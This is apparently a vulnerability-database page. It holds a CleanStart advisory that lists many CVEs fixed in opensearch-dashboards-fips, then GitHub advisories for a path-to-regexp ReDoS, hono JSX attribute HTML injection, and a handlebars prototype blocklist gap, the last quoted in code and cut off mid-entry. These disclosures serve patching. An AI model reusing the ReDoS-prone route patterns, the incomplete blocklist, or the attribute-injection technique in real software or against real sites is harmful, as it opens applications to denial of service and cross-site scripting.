Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Multiple security vulnerabilities affect the opensearch-dashboards-fips package. These issues are resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "opensearch-dashboards-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.19.5-r0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the opensearch-dashboards-fips package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-BE61221",
"modified": "2026-05-10T11:41:43Z",
"published": "2026-05-18T13:36:50.922233Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-BE61221.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-69873"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-29045"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-29085"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-29086"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-29087"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2950"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-30827"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33891"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33894"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33895"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33896"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34043"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-35213"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-39406"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-39407"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-39408"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-39409"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-39410"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-40175"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41238"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41239"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41240"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42033"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42034"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42035"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42036"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42037"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42038"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42039"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42040"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42041"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42042"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42043"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42044"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42264"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42338"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44455"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44456"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44457"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44458"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44459"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4923"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4926"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-6321"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-6322"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2328-f5f3-gj25"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-26pp-8wgv-hjvm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-27v5-c462-wpq7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2g4f-4pwh-qvx6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2qvq-rjwj-gvw9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2w6w-674q-4c4q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-39q2-94rc-95cp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3mfm-83xf-c92r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3p68-rc4w-qgx5"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3v7f-55p6-f55p"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3w6x-2g7m-8v23"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-442j-39wm-28r2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-445q-vr5w-6q77"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-458j-xx4x-4375"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-46wh-pxpv-q5gq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5c6j-r48x-rmvq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5c9x-8gcm-mpgx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5m6q-g25r-mvwx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5pq2-9x2x-5p6w"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-62hf-57xw-28j9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-69xw-7hcm-h432"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-6chq-wfr3-2hj9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7rx3-28cr-v5wh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-92pp-h63x-v22m"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9cx6-37pm-9jff"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9vqf-7f2p-gf9v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c2c7-rcm5-vvqj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-crv5-9vww-q3g8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f23m-r3pf-42rh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f886-m6hf-6m8v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fvcv-3m26-pcqx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h7mw-gpvr-xq4m"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-j3q9-mxjg-w52f"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-jg4p-7fhp-p32p"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-m7pr-hjqh-92cm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-p6xx-57qc-3wxr"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-p77w-8qqv-26rm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pf86-5x62-jrwf"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pmwg-cvhr-8vh7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-ppp5-5v6c-4jwp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-q3j6-qgpj-74h6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-q5qw-h33p-qvwr"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-q67f-28xg-22rw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-q8qp-cvcw-x6jj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qj8w-gfj5-8c6v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qp7p-654g-cw7p"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r4q5-vmmm-2653"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r5fr-rjxr-66jc"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r5rp-j6wh-rvv4"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-v2v4-37r5-5v8g"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-v39h-62p7-jpjc"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-v8w9-8mx6-g223"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-v9jr-rg53-9pgp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-vf2m-468p-8v99"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w9j2-pvgh-6h63"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wc8c-qw6v-h7f6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wmmm-f939-6g9c"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xf4j-xp2r-rqqx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xhjh-pmcv-23jw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xhpv-hc6g-r9c6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xjpj-3mr7-gcpf"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xpcf-pg52-r92g"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xx6v-rp6x-q39c"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69873"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29045"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29085"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29086"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29087"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2950"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30827"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33891"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33894"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33895"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33896"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34043"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35213"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39406"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39407"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39408"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39409"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39410"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40175"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41238"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41239"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41240"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42034"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42035"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42036"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42037"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42038"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42039"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42040"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42041"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42042"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42044"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42264"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42338"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44455"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44456"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44457"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44458"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44459"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4923"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4926"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6321"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6322"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2025-62718, CVE-2025-69873, CVE-2026-29045, CVE-2026-29085, CVE-2026-29086, CVE-2026-29087, CVE-2026-2950, CVE-2026-30827, CVE-2026-33750, CVE-2026-33891, CVE-2026-33894, CVE-2026-33895, CVE-2026-33896, CVE-2026-33916, CVE-2026-33937, CVE-2026-34043, CVE-2026-35213, CVE-2026-39406, CVE-2026-39407, CVE-2026-39408, CVE-2026-39409, CVE-2026-39410, CVE-2026-40175, CVE-2026-41238, CVE-2026-41239, CVE-2026-41240, CVE-2026-42033, CVE-2026-42034, CVE-2026-42035, CVE-2026-42036, CVE-2026-42037, CVE-2026-42038, CVE-2026-42039, CVE-2026-42040, CVE-2026-42041, CVE-2026-42042, CVE-2026-42043, CVE-2026-42044, CVE-2026-42264, CVE-2026-42338, CVE-2026-44455, CVE-2026-44456, CVE-2026-44457, CVE-2026-44458, CVE-2026-44459, CVE-2026-4800, CVE-2026-4923, CVE-2026-4926, CVE-2026-6321, CVE-2026-6322, ghsa-2328-f5f3-gj25, ghsa-26pp-8wgv-hjvm, ghsa-27v5-c462-wpq7, ghsa-2g4f-4pwh-qvx6, ghsa-2qvq-rjwj-gvw9, ghsa-2w6w-674q-4c4q, ghsa-39q2-94rc-95cp, ghsa-3mfm-83xf-c92r, ghsa-3p68-rc4w-qgx5, ghsa-3v7f-55p6-f55p, ghsa-3w6x-2g7m-8v23, ghsa-442j-39wm-28r2, ghsa-445q-vr5w-6q77, ghsa-458j-xx4x-4375, ghsa-46wh-pxpv-q5gq, ghsa-5c6j-r48x-rmvq, ghsa-5c9x-8gcm-mpgx, ghsa-5m6q-g25r-mvwx, ghsa-5pq2-9x2x-5p6w, ghsa-62hf-57xw-28j9, ghsa-69xw-7hcm-h432, ghsa-6chq-wfr3-2hj9, ghsa-7rx3-28cr-v5wh, ghsa-92pp-h63x-v22m, ghsa-9cx6-37pm-9jff, ghsa-9vqf-7f2p-gf9v, ghsa-c2c7-rcm5-vvqj, ghsa-crv5-9vww-q3g8, ghsa-f23m-r3pf-42rh, ghsa-f886-m6hf-6m8v, ghsa-fvcv-3m26-pcqx, ghsa-h7mw-gpvr-xq4m, ghsa-j3q9-mxjg-w52f, ghsa-jg4p-7fhp-p32p, ghsa-m7pr-hjqh-92cm, ghsa-p6xx-57qc-3wxr, ghsa-p77w-8qqv-26rm, ghsa-pf86-5x62-jrwf, ghsa-pmwg-cvhr-8vh7, ghsa-ppp5-5v6c-4jwp, ghsa-q3j6-qgpj-74h6, ghsa-q5qw-h33p-qvwr, ghsa-q67f-28xg-22rw, ghsa-q8qp-cvcw-x6jj, ghsa-qj8w-gfj5-8c6v, ghsa-qp7p-654g-cw7p, ghsa-r4q5-vmmm-2653, ghsa-r5fr-rjxr-66jc, ghsa-r5rp-j6wh-rvv4, ghsa-v2v4-37r5-5v8g, ghsa-v39h-62p7-jpjc, ghsa-v8w9-8mx6-g223, ghsa-v9jr-rg53-9pgp, ghsa-vf2m-468p-8v99, ghsa-w9j2-pvgh-6h63, ghsa-wc8c-qw6v-h7f6, ghsa-wmmm-f939-6g9c, ghsa-xf4j-xp2r-rqqx, ghsa-xhjh-pmcv-23jw, ghsa-xhpv-hc6g-r9c6, ghsa-xjpj-3mr7-gcpf, ghsa-xpcf-pg52-r92g, ghsa-xx6v-rp6x-q39c applied in versions: 2.19.5-r0",
"upstream": [
"CVE-2025-62718",
"CVE-2025-69873",
"CVE-2026-29045",
"CVE-2026-29085",
"CVE-2026-29086",
"CVE-2026-29087",
"CVE-2026-2950",
"CVE-2026-30827",
"CVE-2026-33750",
"CVE-2026-33891",
"CVE-2026-33894",
"CVE-2026-33895",
"CVE-2026-33896",
"CVE-2026-33916",
"CVE-2026-33937",
"CVE-2026-34043",
"CVE-2026-35213",
"CVE-2026-39406",
"CVE-2026-39407",
"CVE-2026-39408",
"CVE-2026-39409",
"CVE-2026-39410",
"CVE-2026-40175",
"CVE-2026-41238",
"CVE-2026-41239",
"CVE-2026-41240",
"CVE-2026-42033",
"CVE-2026-42034",
"CVE-2026-42035",
"CVE-2026-42036",
"CVE-2026-42037",
"CVE-2026-42038",
"CVE-2026-42039",
"CVE-2026-42040",
"CVE-2026-42041",
"CVE-2026-42042",
"CVE-2026-42043",
"CVE-2026-42044",
"CVE-2026-42264",
"CVE-2026-42338",
"CVE-2026-44455",
"CVE-2026-44456",
"CVE-2026-44457",
"CVE-2026-44458",
"CVE-2026-44459",
"CVE-2026-4800",
"CVE-2026-4923",
"CVE-2026-4926",
"CVE-2026-6321",
"CVE-2026-6322",
"ghsa-2328-f5f3-gj25",
"ghsa-26pp-8wgv-hjvm",
"ghsa-27v5-c462-wpq7",
"ghsa-2g4f-4pwh-qvx6",
"ghsa-2qvq-rjwj-gvw9",
"ghsa-2w6w-674q-4c4q",
"ghsa-39q2-94rc-95cp",
"ghsa-3mfm-83xf-c92r",
"ghsa-3p68-rc4w-qgx5",
"ghsa-3v7f-55p6-f55p",
"ghsa-3w6x-2g7m-8v23",
"ghsa-442j-39wm-28r2",
"ghsa-445q-vr5w-6q77",
"ghsa-458j-xx4x-4375",
"ghsa-46wh-pxpv-q5gq",
"ghsa-5c6j-r48x-rmvq",
"ghsa-5c9x-8gcm-mpgx",
"ghsa-5m6q-g25r-mvwx",
"ghsa-5pq2-9x2x-5p6w",
"ghsa-62hf-57xw-28j9",
"ghsa-69xw-7hcm-h432",
"ghsa-6chq-wfr3-2hj9",
"ghsa-7rx3-28cr-v5wh",
"ghsa-92pp-h63x-v22m",
"ghsa-9cx6-37pm-9jff",
"ghsa-9vqf-7f2p-gf9v",
"ghsa-c2c7-rcm5-vvqj",
"ghsa-crv5-9vww-q3g8",
"ghsa-f23m-r3pf-42rh",
"ghsa-f886-m6hf-6m8v",
"ghsa-fvcv-3m26-pcqx",
"ghsa-h7mw-gpvr-xq4m",
"ghsa-j3q9-mxjg-w52f",
"ghsa-jg4p-7fhp-p32p",
"ghsa-m7pr-hjqh-92cm",
"ghsa-p6xx-57qc-3wxr",
"ghsa-p77w-8qqv-26rm",
"ghsa-pf86-5x62-jrwf",
"ghsa-pmwg-cvhr-8vh7",
"ghsa-ppp5-5v6c-4jwp",
"ghsa-q3j6-qgpj-74h6",
"ghsa-q5qw-h33p-qvwr",
"ghsa-q67f-28xg-22rw",
"ghsa-q8qp-cvcw-x6jj",
"ghsa-qj8w-gfj5-8c6v",
"ghsa-qp7p-654g-cw7p",
"ghsa-r4q5-vmmm-2653",
"ghsa-r5fr-rjxr-66jc",
"ghsa-r5rp-j6wh-rvv4",
"ghsa-v2v4-37r5-5v8g",
"ghsa-v39h-62p7-jpjc",
"ghsa-v8w9-8mx6-g223",
"ghsa-v9jr-rg53-9pgp",
"ghsa-vf2m-468p-8v99",
"ghsa-w9j2-pvgh-6h63",
"ghsa-wc8c-qw6v-h7f6",
"ghsa-wmmm-f939-6g9c",
"ghsa-xf4j-xp2r-rqqx",
"ghsa-xhjh-pmcv-23jw",
"ghsa-xhpv-hc6g-r9c6",
"ghsa-xjpj-3mr7-gcpf",
"ghsa-xpcf-pg52-r92g",
"ghsa-xx6v-rp6x-q39c"
]
}
GHSA-27V5-C462-WPQ7
Vulnerability from github – Published: 2026-03-27 22:23 – Updated: 2026-03-27 22:23Impact
When using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.
Unsafe examples:
/*foo-*bar-:baz
/*a-:b-*c-:d
/x/*a-:b/*c/y
Safe examples:
/*foo-:bar
/*foo-:bar-*baz
Patches
Upgrade to version 8.4.0.
Workarounds
If developers are using multiple wildcard parameters, they can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "path-to-regexp"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-4923"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T22:23:52Z",
"nvd_published_at": "2026-03-26T19:17:08Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nWhen using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.\n\n**Unsafe examples:**\n\n```\n/*foo-*bar-:baz\n/*a-:b-*c-:d\n/x/*a-:b/*c/y\n```\n\n**Safe examples:**\n\n```\n/*foo-:bar\n/*foo-:bar-*baz\n```\n\n### Patches\n\nUpgrade to version `8.4.0`.\n\n### Workarounds\n\nIf developers are using multiple wildcard parameters, they can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable.",
"id": "GHSA-27v5-c462-wpq7",
"modified": "2026-03-27T22:23:52Z",
"published": "2026-03-27T22:23:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-27v5-c462-wpq7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4923"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/pillarjs/path-to-regexp"
},
{
"type": "WEB",
"url": "https://makenowjust-labs.github.io/recheck/playground"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "path-to-regexp vulnerable to Regular Expression Denial of Service via multiple wildcards"
}
GHSA-458J-XX4X-4375
Vulnerability from github – Published: 2026-04-16 01:02 – Updated: 2026-06-24 13:10Summary
Improper handling of JSX attribute names in hono/jsx allows malformed attribute keys to corrupt the generated HTML output.
When untrusted input is used as attribute keys during server-side rendering, specially crafted keys can break out of attribute or tag boundaries and inject unintended HTML.
Details
When rendering JSX elements to HTML strings, attribute values are escaped, but attribute names (keys) were previously inserted into the output without validation.
If an attribute name contains characters such as ", >, or whitespace, it can alter the structure of the generated HTML.
For example, malformed attribute names can:
- Break out of the current attribute and introduce unintended additional attributes
- Break out of the current HTML tag and inject new elements into the output
This issue arises when untrusted input (such as query parameters or form data) is used as JSX attribute keys during server-side rendering.
Impact
An attacker who can control attribute keys used in JSX rendering may inject unintended attributes or HTML elements into the generated output.
This may lead to:
- Injection of unexpected HTML attributes
- Corruption of the HTML structure
- Potential cross-site scripting (XSS) if combined with unsafe usage patterns
This issue affects applications that pass untrusted input as JSX attribute keys during server-side rendering.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56761"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T01:02:24Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nImproper handling of JSX attribute names in hono/jsx allows malformed attribute keys to corrupt the generated HTML output.\n\nWhen untrusted input is used as attribute keys during server-side rendering, specially crafted keys can break out of attribute or tag boundaries and inject unintended HTML.\n\n## Details\n\nWhen rendering JSX elements to HTML strings, attribute values are escaped, but attribute names (keys) were previously inserted into the output without validation.\n\nIf an attribute name contains characters such as `\"`, `\u003e`, or whitespace, it can alter the structure of the generated HTML.\n\nFor example, malformed attribute names can:\n\n* Break out of the current attribute and introduce unintended additional attributes\n* Break out of the current HTML tag and inject new elements into the output\n\nThis issue arises when untrusted input (such as query parameters or form data) is used as JSX attribute keys during server-side rendering.\n\n## Impact\n\nAn attacker who can control attribute keys used in JSX rendering may inject unintended attributes or HTML elements into the generated output.\n\nThis may lead to:\n\n* Injection of unexpected HTML attributes\n* Corruption of the HTML structure\n* Potential cross-site scripting (XSS) if combined with unsafe usage patterns\n\nThis issue affects applications that pass untrusted input as JSX attribute keys during server-side rendering.",
"id": "GHSA-458j-xx4x-4375",
"modified": "2026-06-24T13:10:57Z",
"published": "2026-04-16T01:02:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-458j-xx4x-4375"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "hono Improperly Handles JSX Attribute Names Allows HTML Injection in hono/jsx SSR"
}
GHSA-7RX3-28CR-V5WH
Vulnerability from github – Published: 2026-03-29 15:17 – Updated: 2026-03-29 15:17Summary
The prototype method blocklist in lib/handlebars/internal/proto-access.js blocks constructor, __defineGetter__, __defineSetter__, and __lookupGetter__, but omits the symmetric __lookupSetter__. This omission is only exploitable when the non-default runtime option allowProtoMethodsByDefault: true is explicitly set — in that configuration __lookupSetter__ becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.
4.6.0 is the version that introduced protoAccessControl and the allowProtoMethodsByDefault runtime option.
Description
In lib/handlebars/internal/proto-access.js:
const methodWhiteList = Object.create(null);
methodWhiteList['constructor'] = false;
methodWhiteList['__defineGetter__'] = false;
methodWhiteList['__defineSetter__'] = false;
methodWhiteList['__lookupGetter__'] = false;
// __lookupSetter__ intentionally blocked in CVE-2021-23383,
// but omitted here — creating an asymmetric blocklist
